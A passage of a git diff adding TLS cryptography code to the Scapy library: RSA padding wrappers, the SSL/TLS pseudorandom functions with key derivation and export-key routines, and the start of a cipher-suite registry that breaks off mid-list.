+        elif padStr == "oaep":
+            return padding.OAEP(mgf=mgf(h), algorithm=h, label=label)
+        else:
+            warning("Key.encrypt(): Unknown padding type (%s)", padStr)
+            return None
+
+
+#####################################################################
+# Asymmetric Cryptography wrappers
+#####################################################################
+
+# Make sure that default values are consistent accross the whole TLS module,
+# lest they be explicitly set to None between cert.py and pkcs1.py.
+
+class _EncryptAndVerifyRSA(object):
+
+    @crypto_validator
+    def encrypt(self, m, t="pkcs", h="sha256", mgf=None, L=None):
+        mgf = mgf or padding.MGF1
+        h = _get_hash(h)
+        pad = _get_padding(t, mgf, h, L)
+        return self.pubkey.encrypt(m, pad)
+
+    @crypto_validator
+    def verify(self, M, S, t="pkcs", h="sha256", mgf=None, L=None):
+        M = raw(M)
+        mgf = mgf or padding.MGF1
+        h = _get_hash(h)
+        pad = _get_padding(t, mgf, h, L)
+        try:
+            try:
+                self.pubkey.verify(S, M, pad, h)
+            except UnsupportedAlgorithm:
+                if t != "pkcs" and h != "md5-sha1":
+                    raise UnsupportedAlgorithm("RSA verification with %s" % h)
+                self._legacy_verify_md5_sha1(M, S)
+            return True
+        except InvalidSignature:
+            return False
+
+    def _legacy_verify_md5_sha1(self, M, S):
+        k = self._modulusLen // 8
+        if len(S) != k:
+            warning("invalid signature (len(S) != k)")
+            return False
+        s = pkcs_os2ip(S)
+        n = self._modulus
+        if isinstance(s, int) and six.PY2:
+            s = long(s)
+        if (six.PY2 and not isinstance(s, long)) or s > n-1:
+            warning("Key._rsaep() expects a long between 0 and n-1")
+            return None
+        m = pow(s, self._pubExp, n)
+        EM = pkcs_i2osp(m, k)
+        EMPrime = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k)
+        if EMPrime is None:
+            warning("Key._rsassa_pkcs1_v1_5_verify(): unable to encode.")
+            return False
+        return EM == EMPrime
+
+
+class _DecryptAndSignRSA(object):
+
+    @crypto_validator
+    def decrypt(self, C, t="pkcs", h="sha256", mgf=None, L=None):
+        mgf = mgf or padding.MGF1
+        h = _get_hash(h)
+        pad = _get_padding(t, mgf, h, L)
+        return self.key.decrypt(C, pad)
+
+    @crypto_validator
+    def sign(self, M, t="pkcs", h="sha256", mgf=None, L=None):
+        M = raw(M)
+        mgf = mgf or padding.MGF1
+        h = _get_hash(h)
+        pad = _get_padding(t, mgf, h, L)
+        try:
+            return self.key.sign(M, pad, h)
+        except UnsupportedAlgorithm:
+            if t != "pkcs" and h != "md5-sha1":
+                raise UnsupportedAlgorithm("RSA signature with %s" % h)
+            return self._legacy_sign_md5_sha1(M)
+
+    def _legacy_sign_md5_sha1(self, M):
+        M = raw(M)
+        k = self._modulusLen // 8
+        EM = _legacy_pkcs1_v1_5_encode_md5_sha1(M, k)
+        if EM is None:
+            warning("Key._rsassa_pkcs1_v1_5_sign(): unable to encode")
+            return None
+        m = pkcs_os2ip(EM)
+        n = self._modulus
+        if isinstance(m, int) and six.PY2:
+            m = long(m)
+        if (six.PY2 and not isinstance(m, long)) or m > n-1:
+            warning("Key._rsaep() expects a long between 0 and n-1")
+            return None
+        privExp = self.key.private_numbers().d
+        s = pow(m, privExp, n)
+        return pkcs_i2osp(s, k)
diff --git a/scapy/layers/tls/crypto/prf.py b/scapy/layers/tls/crypto/prf.py
new file mode 100644
index 0000000..e899ba3
--- /dev/null
+++ b/scapy/layers/tls/crypto/prf.py
@@ -0,0 +1,342 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS Pseudorandom Function.
+"""
+
+from __future__ import absolute_import
+from scapy.error import warning
+from scapy.utils import strxor
+
+from scapy.layers.tls.crypto.hash import _tls_hash_algs
+from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs
+from scapy.modules.six.moves import range
+from scapy.compat import *
+
+
+### Data expansion functions
+
+def _tls_P_hash(secret, seed, req_len, hm):
+    """
+    Provides the implementation of P_hash function defined in
+    section 5 of RFC 4346 (and section 5 of RFC 5246). Two
+    parameters have been added (hm and req_len):
+
+    - secret : the key to be used. If RFC 4868 is to be believed,
+               the length must match hm.key_len. Actually,
+               python hmac takes care of formatting every key.
+    - seed : the seed to be used.
+    - req_len : the length of data to be generated by iterating
+               the specific HMAC function (hm). This prevents
+               multiple calls to the function.
+    - hm : the hmac function class to use for iteration (either
+           Hmac_MD5 or Hmac_SHA1 in TLS <= 1.1 or
+           Hmac_SHA256 or Hmac_SHA384 in TLS 1.2)
+    """
+    hash_len = hm.hash_alg.hash_len
+    n = (req_len + hash_len - 1) // hash_len
+
+    res = b""
+    a = hm(secret).digest(seed)  # A(1)
+
+    while n > 0:
+        res += hm(secret).digest(a + raw(seed))
+        a = hm(secret).digest(a)
+        n -= 1
+
+    return res[:req_len]
+
+
+def _tls_P_MD5(secret, seed, req_len):
+    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-MD5"])
+
+def _tls_P_SHA1(secret, seed, req_len):
+    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA"])
+
+def _tls_P_SHA256(secret, seed, req_len):
+    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA256"])
+
+def _tls_P_SHA384(secret, seed, req_len):
+    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA384"])
+
+def _tls_P_SHA512(secret, seed, req_len):
+    return _tls_P_hash(secret, seed, req_len, _tls_hmac_algs["HMAC-SHA512"])
+
+
+### PRF functions, according to the protocol version
+
+def _sslv2_PRF(secret, seed, req_len):
+    hash_md5 = _tls_hash_algs["MD5"]()
+    rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len
+
+    res = b""
+    if rounds == 1:
+        res += hash_md5.digest(secret + seed)
+    else:
+        r = 0
+        while r < rounds:
+            label = str(r).encode("utf8")
+            res += hash_md5.digest(secret + label + seed)
+            r += 1
+
+    return res[:req_len]
+
+def _ssl_PRF(secret, seed, req_len):
+    """
+    Provides the implementation of SSLv3 PRF function:
+
+     SSLv3-PRF(secret, seed) =
+        MD5(secret || SHA-1("A" || secret || seed)) ||
+        MD5(secret || SHA-1("BB" || secret || seed)) ||
+        MD5(secret || SHA-1("CCC" || secret || seed)) || ...
+
+    req_len should not be more than  26 x 16 = 416.
+    """
+    if req_len > 416:
+        warning("_ssl_PRF() is not expected to provide more than 416 bytes")
+        return ""
+
+    d = [b"A", b"B", b"C", b"D", b"E", b"F", b"G", b"H", b"I", b"J", b"K", b"L",
+         b"M", b"N", b"O", b"P", b"Q", b"R", b"S", b"T", b"U", b"V", b"W", b"X",
+         b"Y", b"Z"]
+    res = b""
+    hash_sha1 = _tls_hash_algs["SHA"]()
+    hash_md5 = _tls_hash_algs["MD5"]()
+    rounds = (req_len + hash_md5.hash_len - 1) // hash_md5.hash_len
+
+    for i in range(rounds):
+        label = d[i] * (i+1)
+        tmp = hash_sha1.digest(label + secret + seed)
+        res += hash_md5.digest(secret + tmp)
+
+    return res[:req_len]
+
+def _tls_PRF(secret, label, seed, req_len):
+    """
+    Provides the implementation of TLS PRF function as defined in
+    section 5 of RFC 4346:
+
+    PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR
+                               P_SHA-1(S2, label + seed)
+
+    Parameters are:
+
+    - secret: the secret used by the HMAC in the 2 expansion
+              functions (S1 and S2 are the halves of this secret).
+    - label: specific label as defined in various sections of the RFC
+             depending on the use of the generated PRF keystream
+    - seed: the seed used by the expansion functions.
+    - req_len: amount of keystream to be generated
+    """
+    l = (len(secret) + 1) // 2
+    S1 = secret[:l]
+    S2 = secret[-l:]
+
+    a1 = _tls_P_MD5(S1, label+seed, req_len)
+    a2 = _tls_P_SHA1(S2, label+seed, req_len)
+
+    return strxor(a1, a2)
+
+def _tls12_SHA256PRF(secret, label, seed, req_len):
+    """
+    Provides the implementation of TLS 1.2 PRF function as
+    defined in section 5 of RFC 5246:
+
+    PRF(secret, label, seed) = P_SHA256(secret, label + seed)
+
+    Parameters are:
+
+    - secret: the secret used by the HMAC in the 2 expansion
+              functions (S1 and S2 are the halves of this secret).
+    - label: specific label as defined in various sections of the RFC
+             depending on the use of the generated PRF keystream
+    - seed: the seed used by the expansion functions.
+    - req_len: amount of keystream to be generated
+    """
+    return _tls_P_SHA256(secret, label+seed, req_len)
+
+def _tls12_SHA384PRF(secret, label, seed, req_len):
+    return _tls_P_SHA384(secret, label+seed, req_len)
+
+def _tls12_SHA512PRF(secret, label, seed, req_len):
+    return _tls_P_SHA512(secret, label+seed, req_len)
+
+
+class PRF(object):
+    """
+    The PRF used by SSL/TLS varies based on the version of the protocol and
+    (for TLS 1.2) possibly the Hash algorithm of the negotiated cipher suite.
+    The various uses of the PRF (key derivation, computation of verify_data,
+    computation of pre_master_secret values) for the different versions of the
+    protocol also changes. In order to abstract those elements, the common
+    _tls_PRF() object is provided. It is expected to be initialised in the
+    context of the connection state using the tls_version and the cipher suite.
+    """
+    def __init__(self, hash_name="SHA256", tls_version=0x0303):
+        self.tls_version = tls_version
+        self.hash_name = hash_name
+
+        if tls_version < 0x0300:            # SSLv2
+            self.prf = _sslv2_PRF
+        elif tls_version == 0x0300:         # SSLv3
+            self.prf = _ssl_PRF
+        elif (tls_version == 0x0301 or      # TLS 1.0
+              tls_version == 0x0302):       # TLS 1.1
+            self.prf = _tls_PRF
+        elif tls_version == 0x0303:         # TLS 1.2
+            if hash_name == "SHA384":
+                self.prf = _tls12_SHA384PRF
+            elif hash_name == "SHA512":
+                self.prf = _tls12_SHA512PRF
+            else:
+                self.prf = _tls12_SHA256PRF
+        else:
+            warning("Unknown TLS version")
+
+    def compute_master_secret(self, pre_master_secret,
+                              client_random, server_random):
+        """
+        Return the 48-byte master_secret, computed from pre_master_secret,
+        client_random and server_random. See RFC 5246, section 6.3.
+        """
+        seed = client_random + server_random
+        if self.tls_version < 0x0300:
+            return None
+        elif self.tls_version == 0x0300:
+            return self.prf(pre_master_secret, seed, 48)
+        else:
+            return self.prf(pre_master_secret, b"master secret", seed, 48)
+
+    def derive_key_block(self, master_secret, server_random,
+                         client_random, req_len):
+        """
+        Perform the derivation of master_secret into a key_block of req_len
+        requested length. See RFC 5246, section 6.3.
+        """
+        seed = server_random + client_random
+        if self.tls_version <= 0x0300:
+            return self.prf(master_secret, seed, req_len)
+        else:
+            return self.prf(master_secret, b"key expansion", seed, req_len)
+
+    def compute_verify_data(self, con_end, read_or_write,
+                            handshake_msg, master_secret):
+        """
+        Return verify_data based on handshake messages, connection end,
+        master secret, and read_or_write position. See RFC 5246, section 7.4.9.
+
+        Every TLS 1.2 cipher suite has a verify_data of length 12. Note also:
+        "This PRF with the SHA-256 hash function is used for all cipher
+         suites defined in this document and in TLS documents published
+         prior to this document when TLS 1.2 is negotiated."
+        Cipher suites using SHA-384 were defined later on.
+        """
+        if self.tls_version < 0x0300:
+            return None
+        elif self.tls_version == 0x0300:
+
+            if read_or_write == "write":
+                d = {"client": b"CLNT", "server": b"SRVR"}
+            else:
+                d = {"client": b"SRVR", "server": b"CLNT"}
+            label = d[con_end]
+
+            sslv3_md5_pad1 = b"\x36"*48
+            sslv3_md5_pad2 = b"\x5c"*48
+            sslv3_sha1_pad1 = b"\x36"*40
+            sslv3_sha1_pad2 = b"\x5c"*40
+
+            md5 = _tls_hash_algs["MD5"]()
+            sha1 = _tls_hash_algs["SHA"]()
+
+            md5_hash = md5.digest(master_secret + sslv3_md5_pad2 +
+                                  md5.digest(handshake_msg + label +
+                                             master_secret + sslv3_md5_pad1))
+            sha1_hash = sha1.digest(master_secret + sslv3_sha1_pad2 +
+                                    sha1.digest(handshake_msg + label +
+                                                master_secret + sslv3_sha1_pad1))
+            verify_data = md5_hash + sha1_hash
+
+        else:
+
+            if read_or_write == "write":
+                d = {"client": "client", "server": "server"}
+            else:
+                d = {"client": "server", "server": "client"}
+            label = ("%s finished" % d[con_end]).encode()
+
+            if self.tls_version <= 0x0302:
+                s1 = _tls_hash_algs["MD5"]().digest(handshake_msg)
+                s2 = _tls_hash_algs["SHA"]().digest(handshake_msg)
+                verify_data = self.prf(master_secret, label, s1 + s2, 12)
+            else:
+                if self.hash_name in ["MD5", "SHA"]:
+                    h = _tls_hash_algs["SHA256"]()
+                else:
+                    h = _tls_hash_algs[self.hash_name]()
+                s = h.digest(handshake_msg)
+                verify_data = self.prf(master_secret, label, s, 12)
+
+        return verify_data
+
+    def postprocess_key_for_export(self, key, client_random, server_random,
+                                   con_end, read_or_write, req_len):
+        """
+        Postprocess cipher key for EXPORT ciphersuite, i.e. weakens it.
+        An export key generation example is given in section 6.3.1 of RFC 2246.
+        See also page 86 of EKR's book.
+        """
+        s = con_end + read_or_write
+        s = (s == "clientwrite" or s == "serverread")
+
+        if self.tls_version < 0x0300:
+            return None
+        elif self.tls_version == 0x0300:
+            if s:
+                tbh = key + client_random + server_random
+            else:
+                tbh = key + server_random + client_random
+            export_key = _tls_hash_algs["MD5"]().digest(tbh)[:req_len]
+        else:
+            if s:
+                tag = b"client write key"
+            else:
+                tag = b"server write key"
+            export_key = self.prf(key,
+                                  tag,
+                                  client_random + server_random,
+                                  req_len)
+        return export_key
+
+    def generate_iv_for_export(self, client_random, server_random,
+                               con_end, read_or_write, req_len):
+        """
+        Generate IV for EXPORT ciphersuite, i.e. weakens it.
+        An export IV generation example is given in section 6.3.1 of RFC 2246.
+        See also page 86 of EKR's book.
+        """
+        s = con_end + read_or_write
+        s = (s == "clientwrite" or s == "serverread")
+
+        if self.tls_version < 0x0300:
+            return None
+        elif self.tls_version == 0x0300:
+            if s:
+                tbh = client_random + server_random
+            else:
+                tbh = server_random + client_random
+            iv = _tls_hash_algs["MD5"]().digest(tbh)[:req_len]
+        else:
+            iv_block = self.prf("",
+                                b"IV block",
+                                client_random + server_random,
+                                2*req_len)
+            if s:
+                iv = iv_block[:req_len]
+            else:
+                iv = iv_block[req_len:]
+        return iv
+
diff --git a/scapy/layers/tls/crypto/suites.py b/scapy/layers/tls/crypto/suites.py
new file mode 100644
index 0000000..cd3417c
--- /dev/null
+++ b/scapy/layers/tls/crypto/suites.py
@@ -0,0 +1,1035 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS cipher suites.
+
+A comprehensive list of specified cipher suites can be consulted at:
+https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml
+"""
+
+from __future__ import absolute_import
+from scapy.layers.tls.crypto.kx_algs import _tls_kx_algs
+from scapy.layers.tls.crypto.hash import _tls_hash_algs
+from scapy.layers.tls.crypto.h_mac import _tls_hmac_algs
+from scapy.layers.tls.crypto.ciphers import _tls_cipher_algs
+import scapy.modules.six as six
+
+
+def get_algs_from_ciphersuite_name(ciphersuite_name):
+    """
+    Return the 3-tuple made of the Key Exchange Algorithm class, the Cipher
+    class and the HMAC class, through the parsing of the ciphersuite name.
+    """
+    tls1_3 = False
+    if ciphersuite_name.startswith("TLS"):
+        s = ciphersuite_name[4:]
+    
+        if s.endswith("CCM") or s.endswith("CCM_8"):
+            kx_name, s = s.split("_WITH_")
+            kx_alg = _tls_kx_algs.get(kx_name)
+            hash_alg = _tls_hash_algs.get("SHA256")
+            cipher_alg = _tls_cipher_algs.get(s)
+            hmac_alg = None
+    
+        else:
+            if "WITH" in s:
+                kx_name, s = s.split("_WITH_")
+                kx_alg = _tls_kx_algs.get(kx_name)
+            else:
+                tls1_3 = True
+                kx_alg = _tls_kx_algs.get("TLS13")
+    
+            hash_name = s.split('_')[-1]
+            hash_alg = _tls_hash_algs.get(hash_name)
+    
+            cipher_name = s[:-(len(hash_name) + 1)]
+            if tls1_3:
+                cipher_name += "_TLS13"
+            cipher_alg = _tls_cipher_algs.get(cipher_name)
+    
+            hmac_alg = None
+            if cipher_alg is not None and cipher_alg.type != "aead":
+                hmac_name = "HMAC-%s" % hash_name
+                hmac_alg = _tls_hmac_algs.get(hmac_name)
+
+    elif ciphersuite_name.startswith("SSL"):
+        s = ciphersuite_name[7:]
+        kx_alg = _tls_kx_algs.get("SSLv2")
+        cipher_name, hash_name = s.split("_WITH_")
+        cipher_alg = _tls_cipher_algs.get(cipher_name.rstrip("_EXPORT40"))
+        kx_alg.export = cipher_name.endswith("_EXPORT40")
+        hmac_alg = _tls_hmac_algs.get("HMAC-NULL")
+        hash_alg = _tls_hash_algs.get(hash_name)
+
+    return kx_alg, cipher_alg, hmac_alg, hash_alg, tls1_3
+
+
+_tls_cipher_suites = {}
+_tls_cipher_suites_cls = {}
+
+class _GenericCipherSuiteMetaclass(type):
+    """
+    Cipher suite classes are automatically registered through this metaclass.
+    Their name attribute equates their respective class name.
+
+    We also pre-compute every expected length of the key block to be generated,
+    which may vary according to the current tls_version. The default is set to
+    the TLS 1.2 length, and the value should be set at class instantiation.
+
+    Regarding the AEAD cipher suites, note that the 'hmac_alg' attribute will
+    be set to None. Yet, we always need a 'hash_alg' for the PRF.
+    """
+    def __new__(cls, cs_name, bases, dct):
+        cs_val = dct.get("val")
+
+        if cs_name != "_GenericCipherSuite":
+            kx, c, hm, h, tls1_3 = get_algs_from_ciphersuite_name(cs_name)
+
+            if c is None or h is None or (kx is None and not tls1_3):
+                dct["usable"] = False
+            else:
+                dct["usable"] = True
+                dct["name"] = cs_name
+                dct["kx_alg"] = kx
+                dct["cipher_alg"] = c
+                dct["hmac_alg"] = hm
+                dct["hash_alg"] = h
+
+                if not tls1_3:
+                    kb_len = 2*c.key_len
+
+                    if c.type == "stream" or c.type == "block":
+                        kb_len += 2*hm.key_len
+
+                    kb_len_v1_0 = kb_len
+                    if c.type == "block":
+                        kb_len_v1_0 += 2*c.block_size
+                        # no explicit IVs added for TLS 1.1+
+                    elif c.type == "aead":
+                        kb_len_v1_0 += 2*c.fixed_iv_len
+                        kb_len += 2*c.fixed_iv_len
+
+                    dct["_key_block_len_v1_0"] = kb_len_v1_0
+                    dct["key_block_len"] = kb_len
+
+            _tls_cipher_suites[cs_val] = cs_name
+        the_class = super(_GenericCipherSuiteMetaclass, cls).__new__(cls,
+                                                                     cs_name,
+                                                                     bases,
+                                                                     dct)
+        if cs_name != "_GenericCipherSuite":
+            _tls_cipher_suites_cls[cs_val] = the_class
+        return the_class
+
+
+class _GenericCipherSuite(six.with_metaclass(_GenericCipherSuiteMetaclass, object)):
+    def __init__(self, tls_version=0x0303):
+        """
+        Most of the attributes are fixed and have already been set by the
+        metaclass, but we still have to provide tls_version differentiation.
+
+        For now, the key_block_len remains the only application if this.
+        Indeed for TLS 1.1+, when using a block cipher, there are no implicit
+        IVs derived from the master secret. Note that an overlong key_block_len
+        would not affect the secret generation (the trailing bytes would
+        simply be discarded), but we still provide this for completeness.
+        """
+        super(_GenericCipherSuite, self).__init__()
+        if tls_version <= 0x301:
+            self.key_block_len = self._key_block_len_v1_0
+
+
+class TLS_NULL_WITH_NULL_NULL(_GenericCipherSuite):
+    val = 0x0000
+
+class TLS_RSA_WITH_NULL_MD5(_GenericCipherSuite):
+    val = 0x0001
+
+class TLS_RSA_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0x0002
+
+class TLS_RSA_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite):
+    val = 0x0003
+
+class TLS_RSA_WITH_RC4_128_MD5(_GenericCipherSuite):
+    val = 0x0004
+
+class TLS_RSA_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0x0005
+
+class TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite):
+    val = 0x0006
+
+class TLS_RSA_WITH_IDEA_CBC_SHA(_GenericCipherSuite):
+    val = 0x0007
+
+class TLS_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):
+    val = 0x0008
+
+class TLS_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite):
+    val = 0x0009
+
+class TLS_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x000A
+
+class TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):
+    val = 0x000B
+
+class TLS_DH_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite):
+    val = 0x000C
+
+class TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x000D
+
+class TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):
+    val = 0x000E
+
+class TLS_DH_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite):
+    val = 0x000F
+
+class TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x0010
+
+class TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):
+    val = 0x0011
+
+class TLS_DHE_DSS_WITH_DES_CBC_SHA(_GenericCipherSuite):
+    val = 0x0012
+
+class TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x0013
+
+class TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):
+    val = 0x0014
+
+class TLS_DHE_RSA_WITH_DES_CBC_SHA(_GenericCipherSuite):
+    val = 0x0015
+
+class TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x0016
+
+class TLS_DH_anon_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite):
+    val = 0x0017
+
+class TLS_DH_anon_WITH_RC4_128_MD5(_GenericCipherSuite):
+    val = 0x0018
+
+class TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):
+    val = 0x0019
+
+class TLS_DH_anon_WITH_DES_CBC_SHA(_GenericCipherSuite):
+    val = 0x001A
+
+class TLS_DH_anon_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x001B
+
+class TLS_KRB5_WITH_DES_CBC_SHA(_GenericCipherSuite):
+    val = 0x001E
+
+class TLS_KRB5_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x001F
+
+class TLS_KRB5_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0x0020
+
+class TLS_KRB5_WITH_IDEA_CBC_SHA(_GenericCipherSuite):
+    val = 0x0021
+
+class TLS_KRB5_WITH_DES_CBC_MD5(_GenericCipherSuite):
+    val = 0x0022
+
+class TLS_KRB5_WITH_3DES_EDE_CBC_MD5(_GenericCipherSuite):
+    val = 0x0023
+
+class TLS_KRB5_WITH_RC4_128_MD5(_GenericCipherSuite):
+    val = 0x0024
+
+class TLS_KRB5_WITH_IDEA_CBC_MD5(_GenericCipherSuite):
+    val = 0x0025
+
+class TLS_KRB5_EXPORT_WITH_DES40_CBC_SHA(_GenericCipherSuite):
+    val = 0x0026
+
+class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA(_GenericCipherSuite):
+    val = 0x0027
+
+class TLS_KRB5_EXPORT_WITH_RC4_40_SHA(_GenericCipherSuite):
+    val = 0x0028
+
+class TLS_KRB5_EXPORT_WITH_DES40_CBC_MD5(_GenericCipherSuite):
+    val = 0x0029
+
+class TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5(_GenericCipherSuite):
+    val = 0x002A
+
+class TLS_KRB5_EXPORT_WITH_RC4_40_MD5(_GenericCipherSuite):
+    val = 0x002B
+
+class TLS_PSK_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0x002C
+
+class TLS_DHE_PSK_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0x002D
+
+class TLS_RSA_PSK_WITH_NULL_SHA(_GenericCipherSuite):
+    val = 0x002E
+
+class TLS_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x002F
+
+class TLS_DH_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0030
+
+class TLS_DH_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0031
+
+class TLS_DHE_DSS_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0032
+
+class TLS_DHE_RSA_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0033
+
+class TLS_DH_anon_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0034
+
+class TLS_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0035
+
+class TLS_DH_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0036
+
+class TLS_DH_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0037
+
+class TLS_DHE_DSS_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0038
+
+class TLS_DHE_RSA_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0039
+
+class TLS_DH_anon_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x003A
+
+class TLS_RSA_WITH_NULL_SHA256(_GenericCipherSuite):
+    val = 0x003B
+
+class TLS_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x003C
+
+class TLS_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x003D
+
+class TLS_DH_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x003E
+
+class TLS_DH_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x003F
+
+class TLS_DHE_DSS_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x0040
+
+class TLS_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0041
+
+class TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0042
+
+class TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0043
+
+class TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0044
+
+class TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0045
+
+class TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0046
+
+class TLS_DHE_RSA_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x0067
+
+class TLS_DH_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x0068
+
+class TLS_DH_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x0069
+
+class TLS_DHE_DSS_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x006A
+
+class TLS_DHE_RSA_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x006B
+
+class TLS_DH_anon_WITH_AES_128_CBC_SHA256(_GenericCipherSuite):
+    val = 0x006C
+
+class TLS_DH_anon_WITH_AES_256_CBC_SHA256(_GenericCipherSuite):
+    val = 0x006D
+
+class TLS_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0084
+
+class TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0085
+
+class TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0086
+
+class TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0087
+
+class TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0088
+
+class TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0089
+
+class TLS_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0x008A
+
+class TLS_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x008B
+
+class TLS_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x008C
+
+class TLS_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x008D
+
+class TLS_DHE_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0x008E
+
+class TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x008F
+
+class TLS_DHE_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0090
+
+class TLS_DHE_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0091
+
+class TLS_RSA_PSK_WITH_RC4_128_SHA(_GenericCipherSuite):
+    val = 0x0092
+
+class TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA(_GenericCipherSuite):
+    val = 0x0093
+
+class TLS_RSA_PSK_WITH_AES_128_CBC_SHA(_GenericCipherSuite):
+    val = 0x0094
+
+class TLS_RSA_PSK_WITH_AES_256_CBC_SHA(_GenericCipherSuite):
+    val = 0x0095
+
+class TLS_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite):
+    val = 0x0096
+
+class TLS_DH_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite):
+    val = 0x0097
+
+class TLS_DH_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite):
+    val = 0x0098
+
+class TLS_DHE_DSS_WITH_SEED_CBC_SHA(_GenericCipherSuite):
+    val = 0x0099
+
+class TLS_DHE_RSA_WITH_SEED_CBC_SHA(_GenericCipherSuite):
+    val = 0x009A
+
+class TLS_DH_anon_WITH_SEED_CBC_SHA(_GenericCipherSuite):
+    val = 0x009B
+
+class TLS_RSA_WITH_AES_128_GCM_SHA256(_GenericCipherSuite):
